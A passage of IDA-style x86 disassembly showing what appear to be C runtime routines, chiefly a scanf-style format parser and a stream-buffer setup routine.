; ---------------------------------------------------------------------------


loc_41BEB4:				; CODE XREF: sub_41BDF8+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_41BEC1:				; CODE XREF: sub_41BDF8+14j
					; sub_41BDF8+1Dj ...
		pop	ebx
		leave
		retn
sub_41BDF8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BEC4	proc near		; CODE XREF: sub_4182D5+1Dp
					; sub_4197B4+16p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_4D86D4, ecx
		mov	eax, offset dword_43AE98


loc_41BED5:				; CODE XREF: sub_41BEC4+1Ej
		cmp	ecx, [eax]
		jz	short loc_41BEF9
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_43B000
		jl	short loc_41BED5
		cmp	ecx, 13h
		jb	short loc_41BF06
		cmp	ecx, 24h
		ja	short loc_41BF06
		mov	dword_4D86D0, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_41BEF9:				; CODE XREF: sub_41BEC4+13j
		mov	eax, dword_43AE9C[edx*8]
		mov	dword_4D86D0, eax
		retn
; ---------------------------------------------------------------------------


loc_41BF06:				; CODE XREF: sub_41BEC4+23j
					; sub_41BEC4+28j
		cmp	ecx, 0BCh
		jb	short loc_41BF20
		cmp	ecx, 0CAh
		mov	dword_4D86D0, 8
		jbe	short locret_41BF2A


loc_41BF20:				; CODE XREF: sub_41BEC4+48j
		mov	dword_4D86D0, 16h

locret_41BF2A:				; CODE XREF: sub_41BEC4+5Aj
		retn
sub_41BEC4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BF2B	proc near		; CODE XREF: sub_4182FF+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_41F916
		test	eax, eax
		pop	ecx
		jz	short loc_41BFB4
		cmp	esi, offset dword_43B298
		jnz	short loc_41BF49
		xor	eax, eax
		jmp	short loc_41BF54
; ---------------------------------------------------------------------------


loc_41BF49:				; CODE XREF: sub_41BF2B+18j
		cmp	esi, offset dword_43B2B8
		jnz	short loc_41BFB4
		push	1
		pop	eax


loc_41BF54:				; CODE XREF: sub_41BF2B+1Cj
		inc	dword_4D88B4
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_41BFB4
		cmp	dword_4D8758[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:4D8758h[eax*4]
		mov	ebx, 1000h
		jnz	short loc_41BF9A
		push	ebx
		call	sub_417A2B
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_41BF9A
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_41BFA7
; ---------------------------------------------------------------------------


loc_41BF9A:				; CODE XREF: sub_41BF2B+4Dj
					; sub_41BF2B+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx


loc_41BFA7:				; CODE XREF: sub_41BF2B+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41BFB4:				; CODE XREF: sub_41BF2B+10j
					; sub_41BF2B+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_41BF2B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BFB8	proc near		; CODE XREF: sub_4182FF+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_41BFE2
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_41BFF3
		push	esi
		call	sub_419EDB
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41BFE2:				; CODE XREF: sub_41BFB8+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_41BFF3
		push	eax
		call	sub_419EDB
		pop	ecx


loc_41BFF3:				; CODE XREF: sub_41BFB8+10j
					; sub_41BFB8+32j
		pop	esi
		retn
sub_41BFB8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BFF5	proc near		; CODE XREF: sub_418B45+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_41C9FB
		mov	edi, [ebp+arg_0]
		jmp	short loc_41C024
; ---------------------------------------------------------------------------


loc_41C01F:				; CODE XREF: sub_41BFF5+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx


loc_41C024:				; CODE XREF: sub_41BFF5+28j
		cmp	dword_43AD8C, 1
		jle	short loc_41C03C
		movzx	eax, al
		push	8
		push	eax
		call	sub_41AFFA
		pop	ecx
		pop	ecx
		jmp	short loc_41C04B
; ---------------------------------------------------------------------------


loc_41C03C:				; CODE XREF: sub_41BFF5+36j
		mov	ecx, off_43AB80
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41C04B:				; CODE XREF: sub_41BFF5+45j
		cmp	eax, ebx
		jz	short loc_41C085
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_41CA82
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41CA6B
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_4199C2
		add	esp, 0Ch


loc_41C073:				; CODE XREF: sub_41BFF5+8Ej
		test	eax, eax
		jz	short loc_41C085
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_4199C2
		pop	ecx
		jmp	short loc_41C073
; ---------------------------------------------------------------------------


loc_41C085:				; CODE XREF: sub_41BFF5+58j
					; sub_41BFF5+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_41C967
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx


loc_41C0BC:				; CODE XREF: sub_41BFF5+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_43AD8C, 1
		jle	short loc_41C0D9
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41AFFA
		pop	ecx
		pop	ecx
		jmp	short loc_41C0E8
; ---------------------------------------------------------------------------


loc_41C0D9:				; CODE XREF: sub_41BFF5+D3j
		mov	ecx, off_43AB80
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_41C0E8:				; CODE XREF: sub_41BFF5+E2j
		test	eax, eax
		jz	short loc_41C0FE
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_41C163
; ---------------------------------------------------------------------------


loc_41C0FE:				; CODE XREF: sub_41BFF5+F5j
		cmp	ebx, 4Eh
		jg	short loc_41C141
		jz	short loc_41C163
		cmp	ebx, 2Ah
		jz	short loc_41C13C
		cmp	ebx, 46h
		jz	short loc_41C163
		cmp	ebx, 49h
		jz	short loc_41C11E
		cmp	ebx, 4Ch
		jnz	short loc_41C150
		inc	[ebp+var_D]
		jmp	short loc_41C163
; ---------------------------------------------------------------------------


loc_41C11E:				; CODE XREF: sub_41BFF5+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_41C150
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_41C150
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_41C163
; ---------------------------------------------------------------------------


loc_41C13C:				; CODE XREF: sub_41BFF5+113j
		inc	[ebp+var_E]
		jmp	short loc_41C163
; ---------------------------------------------------------------------------


loc_41C141:				; CODE XREF: sub_41BFF5+10Cj
		cmp	ebx, 68h
		jz	short loc_41C15D
		cmp	ebx, 6Ch
		jz	short loc_41C155
		cmp	ebx, 77h
		jz	short loc_41C158


loc_41C150:				; CODE XREF: sub_41BFF5+122j
					; sub_41BFF5+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_41C163
; ---------------------------------------------------------------------------


loc_41C155:				; CODE XREF: sub_41BFF5+154j
		inc	[ebp+var_D]


loc_41C158:				; CODE XREF: sub_41BFF5+159j
		inc	[ebp+var_5]
		jmp	short loc_41C163
; ---------------------------------------------------------------------------


loc_41C15D:				; CODE XREF: sub_41BFF5+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]


loc_41C163:				; CODE XREF: sub_41BFF5+107j
					; sub_41BFF5+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_41C0BC
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_41C188
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax


loc_41C188:				; CODE XREF: sub_41BFF5+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_41C1A6
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_41C1A2
		cmp	al, 43h
		jz	short loc_41C1A2
		or	[ebp+var_5], 0FFh
		jmp	short loc_41C1A6
; ---------------------------------------------------------------------------


loc_41C1A2:				; CODE XREF: sub_41BFF5+1A1j
					; sub_41BFF5+1A5j
		mov	[ebp+var_5], 1


loc_41C1A6:				; CODE XREF: sub_41BFF5+19Bj
					; sub_41BFF5+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_41C1DF
		cmp	esi, 63h
		jz	short loc_41C1D0
		cmp	esi, 7Bh
		jz	short loc_41C1D0
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_41CA82
		pop	ecx
		jmp	short loc_41C1DB
; ---------------------------------------------------------------------------


loc_41C1D0:				; CODE XREF: sub_41BFF5+1C5j
					; sub_41BFF5+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41CA51


loc_41C1DB:				; CODE XREF: sub_41BFF5+1D9j
		pop	ecx
		mov	[ebp+var_14], eax


loc_41C1DF:				; CODE XREF: sub_41BFF5+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_41C1EF
		cmp	[ebp+var_C], eax
		jz	loc_41C9CB


loc_41C1EF:				; CODE XREF: sub_41BFF5+1EFj
		cmp	esi, 6Fh
		jg	loc_41C456
		jz	loc_41C708
		cmp	esi, 63h
		jz	loc_41C433
		cmp	esi, 64h
		jz	loc_41C708
		jle	loc_41C480
		cmp	esi, 67h
		jle	short loc_41C253
		cmp	esi, 69h
		jz	short loc_41C23B
		cmp	esi, 6Eh
		jnz	loc_41C480
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_41C936
		jmp	loc_41C95C
; ---------------------------------------------------------------------------


loc_41C23B:				; CODE XREF: sub_41BFF5+229j
		push	64h
		pop	esi


loc_41C23E:				; CODE XREF: sub_41BFF5+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_41C4C8
		mov	[ebp+var_17], 1
		jmp	loc_41C4CD
; ---------------------------------------------------------------------------


loc_41C253:				; CODE XREF: sub_41BFF5+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_41C26F
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_41C274
; ---------------------------------------------------------------------------


loc_41C26F:				; CODE XREF: sub_41BFF5+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_41C28B


loc_41C274:				; CODE XREF: sub_41BFF5+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_41CA51
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41C28E
; ---------------------------------------------------------------------------


loc_41C28B:				; CODE XREF: sub_41BFF5+27Dj
		mov	edi, [ebp+arg_0]


loc_41C28E:				; CODE XREF: sub_41BFF5+294j
		cmp	[ebp+var_20], 0
		jz	short loc_41C29D
		cmp	[ebp+var_C], 15Dh
		jle	short loc_41C2A4


loc_41C29D:				; CODE XREF: sub_41BFF5+29Dj
		mov	[ebp+var_C], 15Dh


loc_41C2A4:				; CODE XREF: sub_41BFF5+2A6j
					; sub_41BFF5+2F2j
		cmp	dword_43AD8C, 1
		jle	short loc_41C2B9
		push	4
		push	ebx
		call	sub_41AFFA
		pop	ecx
		pop	ecx
		jmp	short loc_41C2C4
; ---------------------------------------------------------------------------


loc_41C2B9:				; CODE XREF: sub_41BFF5+2B6j
		mov	eax, off_43AB80
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41C2C4:				; CODE XREF: sub_41BFF5+2C2j
		test	eax, eax
		jz	short loc_41C2E9
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41C2E9
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41CA51
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41C2A4
; ---------------------------------------------------------------------------


loc_41C2E9:				; CODE XREF: sub_41BFF5+2D1j
					; sub_41BFF5+2DBj
		cmp	byte_43AD90, bl
		jnz	short loc_41C357
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41C357
		inc	[ebp+var_4]
		push	edi
		call	sub_41CA51
		mov	ebx, eax
		mov	al, byte_43AD90
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi


loc_41C312:				; CODE XREF: sub_41BFF5+360j
		cmp	dword_43AD8C, 1
		jle	short loc_41C327
		push	4
		push	ebx
		call	sub_41AFFA
		pop	ecx
		pop	ecx
		jmp	short loc_41C332
; ---------------------------------------------------------------------------


loc_41C327:				; CODE XREF: sub_41BFF5+324j
		mov	eax, off_43AB80
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41C332:				; CODE XREF: sub_41BFF5+330j
		test	eax, eax
		jz	short loc_41C357
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41C357
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41CA51
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41C312
; ---------------------------------------------------------------------------


loc_41C357:				; CODE XREF: sub_41BFF5+2FAj
					; sub_41BFF5+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_41C3EF
		cmp	ebx, 65h
		jz	short loc_41C36F
		cmp	ebx, 45h
		jnz	loc_41C3EF


loc_41C36F:				; CODE XREF: sub_41BFF5+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41C3EF
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41CA51
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_41C396
		mov	[esi], al
		inc	esi
		jmp	short loc_41C39B
; ---------------------------------------------------------------------------


loc_41C396:				; CODE XREF: sub_41BFF5+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_41C3B9


loc_41C39B:				; CODE XREF: sub_41BFF5+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_41C3AA
		and	[ebp+var_C], eax
		jmp	short loc_41C3B9
; ---------------------------------------------------------------------------


loc_41C3AA:				; CODE XREF: sub_41BFF5+3AEj
					; sub_41BFF5+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_41CA51
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_41C3B9:				; CODE XREF: sub_41BFF5+3A4j
					; sub_41BFF5+3B3j
		cmp	dword_43AD8C, 1
		jle	short loc_41C3CE
		push	4
		push	ebx
		call	sub_41AFFA
		pop	ecx
		pop	ecx
		jmp	short loc_41C3D9
; ---------------------------------------------------------------------------


loc_41C3CE:				; CODE XREF: sub_41BFF5+3CBj
		mov	eax, off_43AB80
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41C3D9:				; CODE XREF: sub_41BFF5+3D7j
		test	eax, eax
		jz	short loc_41C3EF
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41C3EF
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_41C3AA
; ---------------------------------------------------------------------------


loc_41C3EF:				; CODE XREF: sub_41BFF5+366j
					; sub_41BFF5+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_41CA6B
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_41C9FB
		cmp	[ebp+var_E], 0
		jnz	loc_41C95C
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_43B130
		add	esp, 0Ch
		jmp	loc_41C95C
; ---------------------------------------------------------------------------


loc_41C433:				; CODE XREF: sub_41BFF5+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_41C442
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1


loc_41C442:				; CODE XREF: sub_41BFF5+441j
		cmp	[ebp+var_5], 0
		jle	short loc_41C44C
		mov	[ebp+var_16], 1


loc_41C44C:				; CODE XREF: sub_41BFF5+451j
		mov	edi, offset dword_43B008
		jmp	loc_41C561
; ---------------------------------------------------------------------------


loc_41C456:				; CODE XREF: sub_41BFF5+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_41C704
		sub	eax, 3
		jz	loc_41C552
		dec	eax
		dec	eax
		jz	loc_41C708
		sub	eax, 3
		jz	loc_41C23E
		sub	eax, 3
		jz	short loc_41C4A4


loc_41C480:				; CODE XREF: sub_41BFF5+21Bj
					; sub_41BFF5+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_41C9CB
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_41C95C
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_41C95C
; ---------------------------------------------------------------------------


loc_41C4A4:				; CODE XREF: sub_41BFF5+489j
		cmp	[ebp+var_5], 0
		jle	short loc_41C4AE
		mov	[ebp+var_16], 1


loc_41C4AE:				; CODE XREF: sub_41BFF5+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_41C565
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_41C561
; ---------------------------------------------------------------------------


loc_41C4C8:				; CODE XREF: sub_41BFF5+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_41C4EF


loc_41C4CD:				; CODE XREF: sub_41BFF5+259j
		dec	[ebp+var_C]
		jnz	short loc_41C4DE
		cmp	[ebp+var_20], 0
		jz	short loc_41C4DE
		mov	[ebp+var_F], 1
		jmp	short loc_41C4EF
; ---------------------------------------------------------------------------


loc_41C4DE:				; CODE XREF: sub_41BFF5+4DBj
					; sub_41BFF5+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41CA51
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_41C4EF:				; CODE XREF: sub_41BFF5+4D6j
					; sub_41BFF5+4E7j
		cmp	ebx, 30h
		jnz	loc_41C73D
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41CA51
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_41C53D
		cmp	bl, 58h
		jz	short loc_41C53D
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_41C527
		push	6Fh


loc_41C521:				; CODE XREF: sub_41BFF5+55Bj
		pop	esi
		jmp	loc_41C73D
; ---------------------------------------------------------------------------


loc_41C527:				; CODE XREF: sub_41BFF5+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41CA6B
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_41C73A
; ---------------------------------------------------------------------------


loc_41C53D:				; CODE XREF: sub_41BFF5+517j
					; sub_41BFF5+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41CA51
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_41C521
; ---------------------------------------------------------------------------


loc_41C552:				; CODE XREF: sub_41BFF5+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_41C55C
		mov	[ebp+var_16], 1


loc_41C55C:				; CODE XREF: sub_41BFF5+561j
		mov	edi, offset dword_43B000


loc_41C561:				; CODE XREF: sub_41BFF5+45Cj
					; sub_41BFF5+4CEj
		or	[ebp+var_18], 0FFh


loc_41C565:				; CODE XREF: sub_41BFF5+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_41C589
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_41C589
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_41C58C
; ---------------------------------------------------------------------------


loc_41C589:				; CODE XREF: sub_41BFF5+584j
					; sub_41BFF5+589j
		mov	dl, [ebp+var_35]


loc_41C58C:				; CODE XREF: sub_41BFF5+592j
					; sub_41BFF5+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_41C5F1
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_41C5D8
		test	dl, dl
		jz	short loc_41C5D8
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_41C5D8
		inc	edi
		cmp	dl, cl
		jnb	short loc_41C5AB
		mov	al, cl
		jmp	short loc_41C5AF
; ---------------------------------------------------------------------------


loc_41C5AB:				; CODE XREF: sub_41BFF5+5B0j
		mov	al, dl
		mov	dl, cl


loc_41C5AF:				; CODE XREF: sub_41BFF5+5B4j
		cmp	dl, al
		ja	short loc_41C5D4
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi


loc_41C5BC:				; CODE XREF: sub_41BFF5+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_41C5BC


loc_41C5D4:				; CODE XREF: sub_41BFF5+5BCj
		xor	dl, dl
		jmp	short loc_41C58C
; ---------------------------------------------------------------------------


loc_41C5D8:				; CODE XREF: sub_41BFF5+5A0j
					; sub_41BFF5+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_41C58C
; ---------------------------------------------------------------------------


loc_41C5F1:				; CODE XREF: sub_41BFF5+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_41C9FB
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_41C603
		mov	[ebp+arg_4], edi


loc_41C603:				; CODE XREF: sub_41BFF5+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_41CA6B
		pop	ecx
		pop	ecx


loc_41C61A:				; CODE XREF: sub_41BFF5+6BCj
					; sub_41BFF5+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_41C62E
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_41C6CA


loc_41C62E:				; CODE XREF: sub_41BFF5+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_41CA51
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_41C6BE
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_41C6BE
		cmp	[ebp+var_E], 0
		jnz	short loc_41C6B6
		cmp	[ebp+var_16], 0
		jz	short loc_41C6AB
		mov	ecx, off_43AB80
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41C68A
		inc	[ebp+var_4]
		push	edi
		call	sub_41CA51
		pop	ecx
		mov	[ebp+var_37], al


loc_41C68A:				; CODE XREF: sub_41BFF5+686j
		push	dword_43AD8C
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_41F9A4
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_41C6AE
; ---------------------------------------------------------------------------


loc_41C6AB:				; CODE XREF: sub_41BFF5+673j
		mov	[esi], al
		inc	esi


loc_41C6AE:				; CODE XREF: sub_41BFF5+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_41C61A
; ---------------------------------------------------------------------------


loc_41C6B6:				; CODE XREF: sub_41BFF5+66Dj
		inc	[ebp+var_30]
		jmp	loc_41C61A
; ---------------------------------------------------------------------------


loc_41C6BE:				; CODE XREF: sub_41BFF5+649j
					; sub_41BFF5+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_41CA6B
		pop	ecx
		pop	ecx


loc_41C6CA:				; CODE XREF: sub_41BFF5+633j
		cmp	[ebp+var_30], esi
		jz	loc_41C9FB
		cmp	[ebp+var_E], 0
		jnz	loc_41C95C
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_41C95C
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_41C6FC
		and	word ptr [eax],	0
		jmp	loc_41C95C
; ---------------------------------------------------------------------------


loc_41C6FC:				; CODE XREF: sub_41BFF5+6FCj
		and	byte ptr [eax],	0
		jmp	loc_41C95C
; ---------------------------------------------------------------------------


loc_41C704:				; CODE XREF: sub_41BFF5+466j
		mov	[ebp+var_D], 1


loc_41C708:				; CODE XREF: sub_41BFF5+203j
					; sub_41BFF5+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_41C716
		mov	[ebp+var_17], 1
		jmp	short loc_41C71B
; ---------------------------------------------------------------------------


loc_41C716:				; CODE XREF: sub_41BFF5+719j
		cmp	ebx, 2Bh
		jnz	short loc_41C73D


loc_41C71B:				; CODE XREF: sub_41BFF5+71Fj
		dec	[ebp+var_C]
		jnz	short loc_41C72C
		cmp	[ebp+var_20], 0
		jz	short loc_41C72C
		mov	[ebp+var_F], 1
		jmp	short loc_41C73D
; ---------------------------------------------------------------------------


loc_41C72C:				; CODE XREF: sub_41BFF5+729j
					; sub_41BFF5+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41CA51
		pop	ecx
		mov	ebx, eax


loc_41C73A:				; CODE XREF: sub_41BFF5+543j
		mov	[ebp+var_14], ebx


loc_41C73D:				; CODE XREF: sub_41BFF5+4FDj
					; sub_41BFF5+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_41C856
		cmp	[ebp+var_F], 0
		jnz	loc_41C834


loc_41C751:				; CODE XREF: sub_41BFF5+82Cj
		cmp	esi, 78h
		jnz	short loc_41C7A5
		cmp	dword_43AD8C, 1
